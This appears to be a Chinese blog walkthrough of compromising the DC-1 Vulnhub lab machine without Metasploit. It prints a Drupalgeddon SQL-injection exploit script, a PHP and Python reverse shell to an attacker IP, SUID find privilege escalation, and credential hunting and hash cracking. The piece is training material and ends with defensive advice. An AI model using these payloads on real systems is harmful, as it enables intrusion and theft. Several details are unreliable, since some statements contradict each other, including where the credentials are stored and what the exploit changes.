1. DC-1靶机渗透实战:拒绝MSF的纯手工攻防演练
最近在Vulnhub上重温DC-1这个经典靶机时,我给自己设了个特殊限制——全程禁用Metasploit Framework(MSF)。这个看似简单的决定,却让整个渗透过程变成了对基础技能的全面检验。下面我就把这次"自缚手脚"的实战经历完整记录下来,特别适合想摆脱工具依赖、夯实基本功的安全爱好者参考。
DC-1是Vulnhub上专为渗透测试新手设计的入门级靶机,通常大家会用MSF快速搞定。但真正的高手都知道,过度依赖自动化工具会让我们失去对底层原理的敏感度。这次我尝试完全通过手工命令和脚本完成从信息收集到提权的全过程,发现了许多平时被工具掩盖的技术细节。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与基础侦查
2.1 靶机环境配置
首先用VirtualBox导入下载的DC-1.ova文件,网络模式选择"Host-only"或"NAT"(根据你的物理机网络环境调整)。我习惯先给靶机做个快照,方便反复练习:
bash复制VBoxManage snapshot "DC-1" take "Clean_State" --description "Initial state before testing"
注意:如果发现靶机IP不显示,可能需要进入虚拟机单用户模式手动启用网卡。DC-1默认使用eth0网卡,但某些虚拟化环境可能识别为ens33。
2.2 网络发现与端口扫描
不用MSF意味着要手动完成所有信息收集。我选择用经典的nmap组合拳:
bash复制# 快速扫描存活主机
nmap -sn 192.168.1.0/24
# 针对目标全面扫描
nmap -sV -sC -p- -T4 192.168.1.105 -oN dc1_scan.txt
扫描结果显示开放了22(SSH)、80(HTTP)、111(RPC)等端口。特别要注意的是,rpcbind服务版本显示为2-4,这个细节后面会用到。
2.3 Web应用渗透
访问80端口看到Drupal 7的默认页面。这里我用了三个非MSF工具配合:
- Droopescan 专项扫描:
bash复制droopescan scan drupal -u http://192.168.1.105
- Dirb 目录爆破:
bash复制dirb http://192.168.1.105 /usr/share/wordlists/dirb/common.txt -o dirb_out.txt
- 手动测试SQL注入:
在/user/register页面尝试' or 1=1--等Payload,发现过滤不严。
3. 漏洞利用与初始访问
3.1 Drupalgeddon漏洞利用
Drupal 7.32存在著名的SQL注入漏洞(CVE-2014-3704)。我选择用Python版EXP手动利用:
python复制import requests
target = "http://192.168.1.105/"
payload = {"name[0;update users set name%3d'owned',pass%3d'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid %3d 1;#]":"test",
"name[0]":"test",
"pass":"test",
"form_id":"user_login_block"}
r = requests.post(target, data=payload)
print(r.status_code)
执行后管理员密码被重置为"owned",成功登录后台。
3.2 反向Shell获取
在Drupal后台找到"PHP filter"模块并启用,然后在区块配置中添加PHP代码:
php复制<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"); ?>
本地用nc监听:
bash复制nc -lvnp 4444
关键技巧:如果遇到网络限制,可以尝试用Python反弹shell:
python复制python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4. 权限提升与系统控制
4.1 敏感文件分析
在获取www-data权限后,我习惯性检查以下位置:
bash复制find / -perm -4000 -type f 2>/dev/null # SUID文件
find / -name "config.*" -o -name "*.inc" # 配置文件
cat /home/*/.bash_history # 用户历史命令
在/var/www/目录发现settings.php包含数据库凭据:
php复制$databases = array (
'default' => array (
'default' => array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
...
4.2 数据库渗透
用获取的密码登录MySQL:
bash复制mysql -u dbuser -pR0ck3t drupaldb
查询用户hash并破解:
sql复制SELECT name,pass FROM users;
可以用John破解:
bash复制echo '$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' > drupal.hash
john --wordlist=/usr/share/wordlists/rockyou.txt drupal.hash
4.3 SUID提权
发现find命令具有SUID权限,这是经典的提权路径:
bash复制touch /tmp/rootshell
find /tmp/rootshell -exec whoami \;
find /tmp/rootshell -exec /bin/sh -p \;
成功获取root权限后,在/root目录找到flag文件。
5. 手工渗透的深度思考
5.1 与MSF自动化对比
通过这次纯手工渗透,我发现几个被工具掩盖的关键点:
- Drupalgeddon漏洞的实际注入点是在user/login表单的name参数
- MySQL凭据存储在settings.php而非默认的settings.php
- find提权时需要-p参数保持特权
5.2 防御建议
作为防御方应该:
- 及时更新Drupal核心和模块
- 限制PHP执行权限
- 定期检查SUID/SGID文件
- 数据库密码使用强凭证且独立于应用
5.3 扩展练习建议
如果想进一步挑战:
- 尝试完全不使用SQL注入,通过其他路径getshell
- 在禁用find的情况下寻找其他提权方式
- 编写完整的渗透报告包含所有技术细节
这次禁用MSF的实战让我重新认识了基础技能的重要性。工具确实能提高效率,但只有理解底层原理,才能在面对定制化目标时灵活应对。建议每个安全从业者都定期进行这样的"工具戒断"训练。
